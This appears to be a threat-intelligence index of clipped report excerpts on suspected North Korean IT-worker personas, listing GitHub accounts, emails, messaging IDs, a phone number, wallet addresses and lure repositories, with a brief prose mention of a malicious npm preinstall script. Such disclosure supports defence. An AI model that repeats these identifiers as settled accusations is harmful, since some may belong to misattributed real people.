0xd71cfaa9051e88fa282ae78c165d1788fab0f2cb (punk1004.eth) - 0x099336af1b84fe02f1fe695820024f46cb27b1af -…","…pulsynk Pulsynk Crypto Prediction AI-powered cryptocurrency price prediction platform May 10, 2026 https://github.com/Pulsynk/pulsynk trixauvex Trixauvex-org Crypto Trading Cryptocurrency trading engine and analytics platform May…","…ub.com/ryon-business/Promoting-DApp https://github.com/angel-group888/dapp-integration https://github.com/AretaSchmidt/Web3-RE-Prototype https://github.com/QalbeAli/TrustLedger_Fixes https://github.com/trustllabs/Token-Presale-dApp https://github.com/DavidMoura07/linkfi https://github.com/VictorKulagin/testtoken http…","…forking SprintiQ.ai project — cross-company link github.com/crystal-rm/peakality Peakality project co-contributor alongside He-Cat-E github.com/qnsoftware92 QN Software — Vietnam-linked company, same address as DreamHi 11.2 Email Addresses IOC / Indicator Context / Association…","…ixes https://github.com/trustllabs/Token-Presale-dApp https://github.com/DavidMoura07/linkfi https://github.com/VictorKulagin/testtoken https://github.com/rajaXcodes/Token-Presale-dApp https://github.com/Rochelle128/TokenPresaleDApp The other four accounts collaborated on the same projects.…","…https://github.com/risingdeveloper1982 https://github.com/webtalent0125 https://github.com/everest-dev0323 https://github.com/GithubRealFan https://github.com/Rango22 https://github.com/TryEverything920609 https://github.com/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https:…","…![](./wdev733-cydn95.jpg) #### Nathan Cao / James Lee - Claimed Singapore - rango527 - ncao9127 - github.com/rango527 - github.com/ncao9127 - +65 9073 3165 - https://rango527.github.io/ -…","…github.com/imyugioh • [Archive](https://web.archive.org/web/20250827055032/https://github.com/imyugioh) - github.com/raptor1001 - github.com/zhChameleon - blueraptor1001@gmail.com: 0xlocker, Burndai, Derek Lee, Raptor, Raptor1001, burndai, ethlocker, unlocker -…","…| Real-estate tokenization | AjunaVerse-earlier | L | | [realfraction/realfraction](https://github.com/realfraction/realfraction) | Real-estate tokenization | realfraction (sub-shape A) | L (end-to-end review) | |…","# realfraction — incident write-up & technical analysis | | | |---|---| | Subject | `https://github.com/realfraction/realfraction` | | Encounter date | 2026-05-18 (forwarded by a third party as a suspect repo, framing not confirmed) | | Author of this report | Claude…","…charles8200 - charles08200 - Charles45812 - realhardworkingdeveloper - github.com/charles08200 - github.com/Charles45812 - github.com/realhardworkingdeveloper • [Archive](https://web.archive.org/web/20241001144921/https://github.com/realhardworkingdeveloper) - medium.com/@charles.leonard.com -…","…Github Repository https://github.com/mthomas0802/Market-Maker-Bot https://github.com/RealToma/Ly_AutoPayBot https://github.com/L34rnT0C0d3 Phishing Site https://app.mercuryswap.io Popular Articles From Blink to Nt: Codegate…","…github.com/naol7/dist-task-scheduler v0.0.0-20241120175214-0365b36af82f naol7 Nextron github.com/reauheau/goaubio v0.0.0-20260213144826-0c7c4a5b5859 reauheau Nextron github.com/rickt/slack-weather-bot…","…github.com/green25dev - github.com/incredigroup - github.com/mhcatty - github.com/mhcrocky - github.com/naruhitokaide - github.com/Redmon540 - github.com/sp0t - github.com/TOP-DEVELOPER - github.com/twizard410 - github.com/webstar1014 - github.com/ychmdev -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from North Scan's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. redsky500 holds phantomdev0302@gmail.com (10). Where the address came from a report, the report is https://northscan.co/articles/beejern-full-report.html. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…0x139Ce0B76B4BBBB392112cc23152A4688bf651c5 #### Jova (Wolf on Sol) - besmart - Milos D - t.me/ai_crypto_guru - github.com/relforce/ --- #### MORE WORKERS #### Kei Nakano / smartcoding51 - OneStake Finance, 2024, [Zach's…","…eweb9000 https://github.com/Code852 https://github.com/paramountsky9990 https://github.com/peppapig13132 https://github.com/prettyblueberry https://github.com/renning100 https://rising-star92.github.io/ https://github.com/seniordev1008 https://github.com/ShareHappy0126 https://github.com/sharplip0518 https:/…","…entry_001 2026 new Suspicious GitHub Personas and DPRK IT Worker Activity Patterns github.com/fullstackdev0110 · github.com/reo0603 · github.com/buddy0323 This report documents (3) GitHub accounts showing indicators consistent with DPRK IT worker activity.…","…github.com/reauheau/goaubio v0.0.0-20260213144826-0c7c4a5b5859 reauheau Nextron github.com/rickt/slack-weather-bot v0.0.0-20180704165649-55def291ce83 rickt Nextron github.com/zainirfan13/graphql-client…","…mist0803 https://github.com/SkyCaptainess https://github.com/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://github.com/AringoldX https://github.com/CrazyPassion218 https://github.com/devmad119 :…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Group-IB's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. ripaelit holds ripaelit1111@gmail.com (100). Where the address came from a report, the report is https://www.group-ib.com/blog/dprk-fake-remote-developers/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…ning100 https://rising-star92.github.io/ https://github.com/seniordev1008 https://github.com/ShareHappy0126 https://github.com/sharplip0518 https://github.com/risingdeveloper1982 https://github.com/webtalent0125 https://github.com/everest-dev0323 https://github.com/GithubRealFan https://github.com/Rango22 https://git…","…github.com/john741672 - github.com/webcat882 - github.com/lgamingdev1 - github.com/rustsol114 - github.com/maestro418 - github.com/rizzolib - github.com/endlessbuilder - github.com/smile0307 - github.com/topclever - github.com/webpointdev - github.com/crackdev01 -…","…rkama411 AI payments HTTP 402 micropayments for AI agents - EVM, Solana, Lightning adapters May 27, 2026 https://github.com/rkama411/x402-kit Figure 6.…","…| Generic platform MVP | AjunaVerse-current | L | | [roamanbuild/OnyxVerse](https://github.com/roamanbuild/OnyxVerse) | Web3 metaverse | AjunaVerse-current | L | | [khaleb-dev/jackpot](https://github.com/khaleb-dev/jackpot) | Gambling | AjunaVerse-current…","…dApp https://github.com/DavidMoura07/linkfi https://github.com/VictorKulagin/testtoken https://github.com/rajaXcodes/Token-Presale-dApp https://github.com/Rochelle128/TokenPresaleDApp The other four accounts collaborated on the same projects.…","…| Real-estate tokenization | realfraction (sub-shape D) | L | | [RockTxoi/DeFi-Estate](https://github.com/RockTxoi/DeFi-Estate) | Real-estate tokenization | realfraction (sub-shape D) | L | | [jaiu3d/DeFi-Estate](https://github.com/jaiu3d/DeFi-Estate) | Real-estate…","…in the malware. The preinstall script downloads and attempts to execute a bash script named downx64.sh contained in the bai branch of the GitHub repository /RominaMabelRamirez/dify .…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Group-IB's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. rustgru holds luckysmile0502@gmail.com (18). Where the address came from a report, the report is https://www.group-ib.com/blog/dprk-fake-remote-developers/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/kvenus-uj - github.com/suzukidavid - github.com/john741672 - github.com/webcat882 - github.com/lgamingdev1 - github.com/rustsol114 - github.com/maestro418 - github.com/rizzolib - github.com/endlessbuilder - github.com/smile0307 - github.com/topclever -…","…the 10 specific repository URLs where the account injected malicious commands: https://github.com/TrustLedgerLabs/Token-Presale-dApp https://github.com/ryon-business/Promoting-DApp https://github.com/angel-group888/dapp-integration https://github.com/AretaSchmidt/Web3-RE-Prototype https://github.com/QalbeAli/TrustLe…","…Shardeum, Paid Network, Hyperionx - ryuhei.eth - ryuheimat - ryuheimat3 - ryuheimat3@gmail.com - linkedin.com/in/ryuhei-matsuda - github.com/ryuheimat • [Archive](https://archive.ph/V5GsZ) - github.com/mono300genuine • [Archive](https://archive.ph/wip/Am9Cr) -…","…Shiro Ennosuke / Pavlo Posternak * GitHub 1: https://github.com/phantom-98 (dead) * GitHub 2: https://github.com/saas98 * Email 1: shiroennosuke@gmail.com * Email 2: shiroennosuke@outlook.com * Skype: live:.cid.3e86d89d20526f6b * Telegram:…","…Sadao Elichi / David Adachi / zhmolly - 2025 (jwtradera cluster) - sadaorome - zhmolly - zhmoly - zzmoly - 0xmolly - Moly - github.com/sadaorome - github.com/zhmolly • [Archive](https://archive.ph/80EYH) - github.com/zhmoly • [Archive](https://archive.ph/7XiAc) - t.me/zzmoly (ID:…","…Steward - Richard Stewart - Superpol@irs - 104654833+sallamy2580@users.noreply.github.com: - sallamy2580 - sallamy2580@gmail.com - https://github.com/sallamy2580 - ![](./sallamy2580.jpeg) - ![](./sallamy2580-2.png) --- ## Face Pix #### 139.5.157.128 and 212.91.193.27 -…","…TheBlockOfChain - ayorindesam2 - Sam-Devs - _SamAyorinde - ayorindesam2@gmail.com - linkedin.com/in/sam-ayorinde-3b1b9a151/ - github.com/Sam-Devs • [Archive](https://web.archive.org/web/20250406052701/https://github.com/bizmindx) - x.com/_SamAyorinde -…","…eneliteus-dev/casino-game/ https://github.com/brahmabit/be_challenge_blockchain/ https://github.com/vnvstore/funtico-labs-assessment-15/ https://github.com/samuelmeadowbiankah/felina/ https://github.com/nhonlvsoict/skill-test-main/ https://github.com/goldendragon68/Bullana/ https://github.com/ivanwassaf/skill-test/ ht…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Flare's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. Sapphire8888 holds millionsapphire@outlook.com (100); success-together33 holds myronenkoyaroslav4@gmail.com (5); vbarbar holds proguardseo@gmail.com (100); stardevs70 holds rabbitking0130@gmail.com (100). Where the address came from a report, the report is https://flare.io/learn/resources/north-korean-infiltrator-threat. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/newstable - github.com/webgalaxy315 - github.com/nova-blockchain - github.com/jayceetran - github.com/zenggang315 - github.com/sasuke031026 - github.com/sasuke1026 - github.com/sasukeuchiha - t.me/newstabled - linkedin.com/in/jaycee-tran-a2873230b/ - Discord: newstable -…","…m/newstable https://github.com/webgalaxy315 https://github.com/nova-blockchain https://github.com/jayceetran https://github.com/zenggang315 https://github.com/sasuke031026 https://github.com/sasuke1026 https://github.com/sasukeuchiha Telegram: newstabled Discord: newstable Skype: live:.cid.f4e6d1509205ccdd…","…github.com/webgalaxy315 - github.com/nova-blockchain - github.com/jayceetran - github.com/zenggang315 - github.com/sasuke031026 - github.com/sasuke1026 - github.com/sasukeuchiha - t.me/newstabled - linkedin.com/in/jaycee-tran-a2873230b/ - Discord: newstable -…","…ebgalaxy315 https://github.com/nova-blockchain https://github.com/jayceetran https://github.com/zenggang315 https://github.com/sasuke031026 https://github.com/sasuke1026 https://github.com/sasukeuchiha Telegram: newstabled Discord: newstable Skype: live:.cid.f4e6d1509205ccdd Hiring…","…github.com/nova-blockchain - github.com/jayceetran - github.com/zenggang315 - github.com/sasuke031026 - github.com/sasuke1026 - github.com/sasukeuchiha - t.me/newstabled - linkedin.com/in/jaycee-tran-a2873230b/ - Discord: newstable - live:.cid.f4e6d1509205ccdd #### SirBang / Derek…","…/nova-blockchain https://github.com/jayceetran https://github.com/zenggang315 https://github.com/sasuke031026 https://github.com/sasuke1026 https://github.com/sasukeuchiha Telegram: newstabled Discord: newstable Skype: live:.cid.f4e6d1509205ccdd Hiring…","…github.com/astermirac1e • [Archive](https://web.archive.org/web/20250827054513/https://github.com/astermirac1e) - github.com/0xdpta - github.com/Satoshi-Naoki - github.com/0xb10ckdev • [Archive](https://archive.ph/KMoXG) - github.com/defi-wonderland/prophet-core/pull/2 -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from tayvano (lazarus-bluenoroff-research)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. satoterin holds judekinsley911@gmail.com (100). Where the address came from a report, the report is https://raw.githubusercontent.com/tayvano/lazarus-bluenoroff-research/main/dprk-it-workers/readme.md. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Santokh Veenasenan - 2022 - santokh.veenasenan@gmail.com - Malaysia - t.me/saveen_master - t.me/whatis12354 - github.com/savvy-bit - 0x17087F92D16049E9097413B4964663B754C1E43d ### Nicolas Chi - 2024 - Hong Kong - nic92047@gmail.com -…","…a specific commit from a forked repository of GoldenDev321 , the commit author email resolves to dragonlideveloper @gmail.com : https://github.com/ScorpiusDraconis83/GoldenDev321/commit/cb29367758d1777d882c50594c121b9619664a1d Figure 3 – Commit metadata showing dragonlideveloper@gmail.com as author…","…{\"id\":\"06fdf78f9be7047b\",\"type\":\"link\",\"url\":\"https://github.com/sea-sol/\",\"x\":580,\"y\":-1220,\"width\":400,\"height\":400},…","…//github.com/girlbuzz : MelvinAllen : 2022-10-25T19:47:28Z https: //github.com/itayplav : EduardoLunaq : 2022-10-25T20:04:05Z https: //github.com/SeanJones11 : SeanJones11 : 2022-10-25T20:27:17Z https: //github.com/belbazanas : freedgregory : 2023-01-31T01:01:13Z https:…","…https://github.com/girlbuzz : MelvinAllen : 2022-10-25T19:47:28Z https://github.com/itayplav : EduardoLunaq : 2022-10-25T20:04:05Z https://github.com/SeanJones11 : SeanJones11 : 2022-10-25T20:27:17Z https://github.com/belbazanas : freedgregory : 2023-01-31T01:01:13Z…","…github.com/whiteghostDev URL:https//github.com/cedev935 URL:https//github.com/green52199 URL:https//github.com/CryptoTop1111 URL:https//github.com/secretsuperstar1109 URL:https//github.com/champion119 URL:https//github.com/SuperAdam47 URL:https//github.com/dragon360-dev URL:https//github.com/fairskyDe…","…#2: Full stack developers and Blockchain developers using similar images: Press enter or click to view image in full size https://github.com/Seniorcoder72 https://github.com/SMILES00714 https://github.com/WhiteRabbit130 https://github.com/WebRabbit1796 https://github.com/supercoder-0923…","…tsky9990 https://github.com/peppapig13132 https://github.com/prettyblueberry https://github.com/renning100 https://rising-star92.github.io/ https://github.com/seniordev1008 https://github.com/ShareHappy0126 https://github.com/sharplip0518 https://github.com/risingdeveloper1982 https://github.com/webtalent0125 h…","…JohnMichaelMillen0325@outlook.com #### Naoki Murano - github.com/supermutexc - naokimurano@outlook.com #### Seo Sigoto - github.com/seosigoto - seo.shigoto.001@gmail.com - seo.sigoto@gmail.com #### Seo Kiwon - sunshineseo0614@gmail.com #### Steven Chen -…","…Github: github.com/Hiccup19940325 github.com/neverm25 github.com/seosigoto github.com/JCollinsX github.com/mtfuji25 github.com/supermutexc github.com/call-by Persona Names: Seo Kiwon Seo Sigoto Jenson…","…0.1.2-2773.beta.0 Joyfill Socket github.com/Barsu5489/commerce v0.0.0-20231123164829-2eb351369e57 Barsu5489 Nextron github.com/Setsu548/Logistic v0.0.0-20240410002038-5b40bed74f90 Setsu548 Nextron github.com/amantsehay/a2sv-go-course…","…a/ https://github.com/nhonlvsoict/skill-test-main/ https://github.com/goldendragon68/Bullana/ https://github.com/ivanwassaf/skill-test/ https://github.com/SettleMint-Tech-Hub5/SettleMint_Platform/ https://github.com/veneliteus-dev/exchange-backend/ https://github.com/0x9x-sketch/Oasis361/ https://github.com/eastmade/web3project-mom…","…https: //github.com/cristttt : cristttt : 2023-05-18T21:13:43Z https: //github.com/eddieda1 : eddieda1 : 2023-05-18T21:18:12Z https: //github.com/shanelka-here : georgeee12 : 2023-05-18T21:23:29Z all content copyright ketman © 2024 • all rights reserved.","…https://github.com/cristttt : cristttt : 2023-05-18T21:13:43Z https://github.com/eddieda1 : eddieda1 : 2023-05-18T21:18:12Z https://github.com/shanelka-here : georgeee12 : 2023-05-18T21:23:29Z all content copyright ketman © 2024 • all rights reserved.","…vscode-bootstrapper.vercel.app ## Variant sixteen - November 17, 2025 - Unique Identifier: flag=6 github.com/shangesh-tech/thirdweb_testing #### Notes: This repo was published November 17, 2025. GitHub Users: - shangesh-tech Email Addresses: - Shangesh S…","…pig13132 https://github.com/prettyblueberry https://github.com/renning100 https://rising-star92.github.io/ https://github.com/seniordev1008 https://github.com/ShareHappy0126 https://github.com/sharplip0518 https://github.com/risingdeveloper1982 https://github.com/webtalent0125 https://github.com/everest-dev0323…","…tacoffee0x17 https://github.com/mr-new-0509 https://github.com/naruhitokaide https://github.com/OlekSytn https://github.com/pioneer830 https://github.com/sharkxhunter/ https://github.com/Shiny0805/ https://github.com/silivex https://github.com/Skydev-hub https://github.com/smart1206 https://github.com…","…blueberry https://github.com/renning100 https://rising-star92.github.io/ https://github.com/seniordev1008 https://github.com/ShareHappy0126 https://github.com/sharplip0518 https://github.com/risingdeveloper1982 https://github.com/webtalent0125 https://github.com/everest-dev0323 https://github.com/GithubRealFan…","…r-new-0509 https://github.com/naruhitokaide https://github.com/OlekSytn https://github.com/pioneer830 https://github.com/sharkxhunter/ https://github.com/Shiny0805/ https://github.com/silivex https://github.com/Skydev-hub https://github.com/smart1206 https://github.com/Smartdev0022 https://github.c…","…\"Tarrance\" Tuson - github.com/leionion ### shinytechapes - shinytechapes - shinyapes - x.com/shinytechapes - github.com/shinyapes - dillonmarszalek@gmail.com - DillonGru28 - https://github.com/novustechllc - mirakulizicc@gmail.com: Novus Tech LLC --- ## Merlin…","…Case inpoint would include: Source: https://github.com/shrishail356/w3chat.io Payload 1 (Initial Multi-Payload Stager) SHA256 Hash: 16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8 Whilst the…","…naruhitokaide https://github.com/OlekSytn https://github.com/pioneer830 https://github.com/sharkxhunter/ https://github.com/Shiny0805/ https://github.com/silivex https://github.com/Skydev-hub https://github.com/smart1206 https://github.com/Smartdev0022 https://github.com/superdev0527 https://git…","…that use this type of image in their github account, and also uses some of the words related to their most common github handles: https://github.com/silvstar0 Even without examining the repositories of these accounts, certain keywords in their GitHub handles and their profile images closely…","…James Hensley persona github.com/fortuneguy97 “Alex” persona, dev.to presence github.com/ToyBoy1127 eugene001127 cluster github.com/simplecode1996-lab simplecode1996 email cluster github.com/winner7784291 Taiga Fukuda persona github.com/buildwithria varduhimarieta email / flagged…","…SirBang / Derek Miller - Derek Miller - SirBang - derek.miller0003@gmail.com - derek.miller03@outlook.com - github.com/SirBang - x.com/DerekMillerDev - t.me/DerekGameDev (ID: 6451750406) • ([Messages](./user-6451750406-@DerekGameDev.txt)) -…","…derek.miller03@outlook.com[email protected] Github: https://github.com/SirBang Telegram: DerekGameDev Skype: live:.cid.73d9933f3c8fe3e3 Hiring…","…(Derek Miller): --------------------------------------------- Emails: derek.miller0003@gmail.com derek.miller03@outlook.com Github: https://github.com/SirBang Telegram: DerekGameDev Skype: live:.cid.73d9933f3c8fe3e3 Hiring…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Chollima Group's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. SkeletonKing holds slark0704@gmail.com (21); sunnykan314 holds sunnykan314@gmail.com (100). Where the address came from a report, the report is https://chollima-group.io/posts/analysis-of-it-worker-logs/ https://chollima-group.io/posts/bells-ringing-in-dar-es-salaam.html. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Profile of DPRK IT Worker is:- DPRK IT Worker’s Git Profile You may find the complete list here:- https://github.com/alchemist0803 https://github.com/SkyCaptainess https://github.com/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://gith…","RESEARCH ARTICLE: https://theravenfile.com/2025/08/28/dprk-it-workers-unveiled/ https://github.com/alchemist0803 https://github.com/SkyCaptainess https://github.com/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://gith…","…b.com/OlekSytn https://github.com/pioneer830 https://github.com/sharkxhunter/ https://github.com/Shiny0805/ https://github.com/silivex https://github.com/Skydev-hub https://github.com/smart1206 https://github.com/Smartdev0022 https://github.com/superdev0527 https://github.com/Talent0407 https://git…","…skyjum AI Payments HTTP 402 micropayments for AI agents - EVM, Solana, Lightning adapters May 25, 2026 https://github.com/skyjum/x402-kit x402-kit rkama411 AI payments HTTP 402 micropayments for AI agents - EVM, Solana, Lightning adapters…","…talentdev610@gmail.com - leonpower123@outlook.com - oskardev0112@gmail.com - 88yurchak@gmail.com - github.com/brent-jeremy - github.com/Smart-Dev-0205 - github.com/talented-blockchain-dev - github.com/squirdev - github.com/pedrodiaz417 - github.com/topsmartpro - t.me/smartdev19961 -…","…ook.com talentdev610@gmail.com leonpower123@outlook.com oskardev0112@gmail.com 88yurchak@gmail.com Github: https://github.com/brent-jeremy https://github.com/Smart-Dev-0205 https://github.com/talented-blockchain-dev https://github.com/squirdev https://github.com/pedrodiaz417 https://github.com/topsmartpro Tele…","…com/pioneer830 https://github.com/sharkxhunter/ https://github.com/Shiny0805/ https://github.com/silivex https://github.com/Skydev-hub https://github.com/smart1206 https://github.com/Smartdev0022 https://github.com/superdev0527 https://github.com/Talent0407 https://github.com/tech-veteran71 https:…","…aka: Jin Wang - smartcoding51 - fantasticfullstackdev - webdevninja - Jinathin - kei-tren - github.com/smartcoding51 • [Archive](https://archive.ph/mo0QZ) - github.com/kei-tren • [Archive](https://archive.ph/fhKTT) - keinakano415@gmail.com -…","….com/sharkxhunter/ https://github.com/Shiny0805/ https://github.com/silivex https://github.com/Skydev-hub https://github.com/smart1206 https://github.com/Smartdev0022 https://github.com/superdev0527 https://github.com/Talent0407 https://github.com/tech-veteran71 https://github.com/tommy725 https://gi…","…github.com/good725 • [Archive](https://web.archive.org/web/20250827055950/https://github.com/good725) - github.com/andersonlee111 - github.com/smartdev0725 - linkedin.com/in/anderson-lee-9550381a5 - linkedin.com/in/anderson-lee-0130801a3 - cetbdb23@gmail.com - firly.larly0430@gmail.com -…","….musaj312@protonmail.com toshyodev@outlook.com slark0704@gmail.com helios9116@outlook.com cleanlake412@hotmail.com masterdev1027@gmail.com https://github.com/smartfox1203 https://github.com/hellovlady https://github.com/fulldev317 https://github.com/Zhang-777 Contact Us Email:…","…toshyodev@outlook.com - slark0704@gmail.com - helios9116@outlook.com - cleanlake412@hotmail.com - masterdev1027@gmail.com - github.com/smartfox1203 - github.com/hellovlady - github.com/fulldev317 - github.com/Zhang-777 --- # [MSMT: The DPRK’s Violation and Evasion of UN Sanctions…","…<daniel.c.daniil@gmail.com> Domains: - isvalid-region.vercel.app ## Variant nine - September 30, 2025 - Unique Identifier: flag=5 github.com/SmartPay24/Demo #### Notes: This repo was only recently added on September 30, and has two commits: On Sept 30 and November 10, 2025. GitHub Users: -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Unit 42 (Palo Alto Networks)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. smile-success holds zhangming_k@yahoo.com (23). Where the address came from a report, the report is https://unit42.paloaltonetworks.com/fake-north-korean-it-worker-activity-cluster/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/lgamingdev1 - github.com/rustsol114 - github.com/maestro418 - github.com/rizzolib - github.com/endlessbuilder - github.com/smile0307 - github.com/topclever - github.com/webpointdev - github.com/crackdev01 - github.com/devsirius51 - github.com/devsirius5001 -…","…IOCs Visualization of connection between the all actors discussed GitHub Profiles https://github.com/SweetDream https://github.com/SmileS-777 https://github.com/StealthCoder1109 https://github.com/V0410 https://github.com/ImfanAi https://github.com/aidenwong812…","…Blockchain developers using similar images: Press enter or click to view image in full size https://github.com/Seniorcoder72 https://github.com/SMILES00714 https://github.com/WhiteRabbit130 https://github.com/WebRabbit1796 https://github.com/supercoder-0923 https://github.com/hudesdev…","…johnwilliam199024@gmail.com - github.com/loganworld - github.com/logan-smith-cloud - github.com/jeevan8888 - github.com/smirnovvvasyl - t.me/defiworld_dev (ID: 5157722477) • ([Messages](./user-5157722477-@defiworld_dev.txt)) - t.me/loganworld - t.me/logan_lee_c -…","…om rgrobertclark032@gmail.com johnwilliam199024@gmail.com Github: github.com/loganworld github.com/logan-smith-cloud github.com/jeevan8888 github.com/smirnovvvasyl Telegram: defiworld_dev loganworld logan_lee_c Personas: Logan Lee Logan King Logan Smith Vasyl Smirnov Ethan Chan Leon Zhang Evgeny…","The post consists only of the words \"GH: snowjaguar625\". It names no operator, so the account anchors no persona here. It sits in a run of posts that day in which the researcher was working through DPRK profiles found on a freelancing site.","…One member named “ thegoodearth918” (github.com/thegoodearth918) was found within the GitHub account for “ SoftGlide LLC ” (github.com/SoftGlide-LLC) within their GitHub.…","…hub.com/super-dev03 URL:https//github.com/Mani2044 URL:https//github.com/darkhorse00512 URL:https//github.com/tanaka0722-dev URL:https//github.com/software-dev-web URL:https//any.run/cybersecurity-blog/lazarus-group-it-workers-investigation/ Email:charliereo565gmail.com Email:devcoin.developer@gmail…","…BogdanHabic <bogdan@tenderly.co> Domains: - vscode-config.vercel.app ## Variant four - August 24, 2025 - Unique Identifier: flag=2 github.com/softwareRoom1/skill-test #### Notes: This is a child repo and has one commit from August 24. GitHub Users: - balocones - softwareRoom1 Email Addresses: -…","…github.com/0xopsdev - x.com/akratos_god github.com/kratos-te - x.com/d0sc4u - x.com/EleazarTlapala - x.com/norocos_cp - x.com/soladify github.com/soladify - x.com/SvenDotDev ### microgift88 / krippsat - microgift88 - percy.smith0208@gmail.com - yeniguy28@gmail.com - microgift28@gmail.com -…","…{\"id\":\"ade00b102218a865\",\"type\":\"link\",\"url\":\"https://github.com/soladify\",\"x\":-1820,\"y\":-420,\"width\":400,\"height\":400},…","…• [Archive](https://web.archive.org/web/20250827054829/https://github.com/Kunkka0822) #### David Lee - solandrust - github.com/solandrust --- # The OGs #### Alex Hong - CreamFi, Decubate, DEPO, DeSpace, Gamerse, Jointer, Paid Network, Panther Protocol, Impermax -…","…b.com/champion119 URL:https//github.com/SuperAdam47 URL:https//github.com/dragon360-dev URL:https//github.com/fairskyDev0201 URL:https//github.com/solutionGuru0129 URL:https//github.com/dreamsoft07 URL:https//github.com/super-dev03 URL:https//github.com/Mani2044 URL:https//github.com/darkhorse00512…","…This case is no different. Other developers connected to Aqua Protocol’s development include: https://github.com/SonataM (The front-end developer and inital tester/deployer for Aqua Protocol) https://github.com/CrazyDream000 (Alternative persona of SonataM…","…github.com/incredigroup - github.com/mhcatty - github.com/mhcrocky - github.com/naruhitokaide - github.com/Redmon540 - github.com/sp0t - github.com/TOP-DEVELOPER - github.com/twizard410 - github.com/webstar1014 - github.com/ychmdev - github.com/evilhanse --- #…","…2025 - Shows up on and offchain onnected to Charles Lee Gordon persona - springdev216 - esoh0612 - ericsoh10 - esoh0612@gmail.com - github.com/springdev216 - freelancer.com/u/esoh0612 - trello.com/u/ericsoh10 - medium.com/@esoh0612 #### John Wilhelmson / zhmolly - 2021 - Shows up all over…","…88yurchak@gmail.com - github.com/brent-jeremy - github.com/Smart-Dev-0205 - github.com/talented-blockchain-dev - github.com/squirdev - github.com/pedrodiaz417 - github.com/topsmartpro - t.me/smartdev19961 - t.me/smartdev0205 (ID: 5265691090) •…","…Github: https://github.com/brent-jeremy https://github.com/Smart-Dev-0205 https://github.com/talented-blockchain-dev https://github.com/squirdev https://github.com/pedrodiaz417 https://github.com/topsmartpro Telegram: smartdev19961 smartdev0205 trust0205 Discord: Talented…","…sr-werney Foundry Testing Drop-in Foundry invariant tests for ERC-4626 vaults May 20, 2026 https://github.com/sr-werney/forge-4626-invariants forge-4626-invariants ziobiri Foundry Testing Drop-in Foundry invariant tests for ERC-4626 vaults…","…stabbledev - x.com/haodev007 - github.com/h0lme3 • [Archive](https://web.archive.org/web/20240926190449/https://github.com/h0lme3) - github.com/stabble-dev • [Archive](https://web.archive.org/web/20250827054724/https://github.com/stabble-dev) - socket.dev/npm/user/stabbledev - t.me/haodev007…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Multilateral Sanctions Monitoring Team (MSMT)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. starball-phillips holds santiagoworld15@gmail.com (20). Where the address came from a report, the report is https://msmt.info/view/save/2025/10/22/26294780-c396-407d-bb33-88afe988cd96-The_DPRK%E2%80%99s_Violation_and_Evasion_of_UN_Sanctions_through_Cyber_and_Information_Technology_Worker_Activities_(MSMT_2025_2).pdf. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","GitHub account Socket describes as threat-actor-controlled: the malicious npm package tailwind-magic hardcoded a link to a repository under it, and the account held eighteen repositories including the source of the tetrismic.vercel.app staging endpoint and a series of token, DEX and meme-coin lure projects.","…Staging Server # The threat actors maintain a small staging server, developed in the GitHub repository github.com/stardev0914/tetrismic and deployed on Vercel at tetrismic.vercel.app .…","…of connection between the all actors discussed GitHub Profiles https://github.com/SweetDream https://github.com/SmileS-777 https://github.com/StealthCoder1109 https://github.com/V0410 https://github.com/ImfanAi https://github.com/aidenwong812 https://github.com/brightlystar0117…","…Telegram: https://t.me/marksantiago02 * Email: marksantiago0929@gmail.com ----------------- ### Steven Leal / Mitsuru Kudo * GitHub 1: https://github.com/steven228312 * GitHub 2: https://github.com/luckypenny1632333 GitHub 3: https://github.com/stevendev0822 * Portfolio 1:…","…Steven Leal / Mitsuru Kudo * GitHub 1: 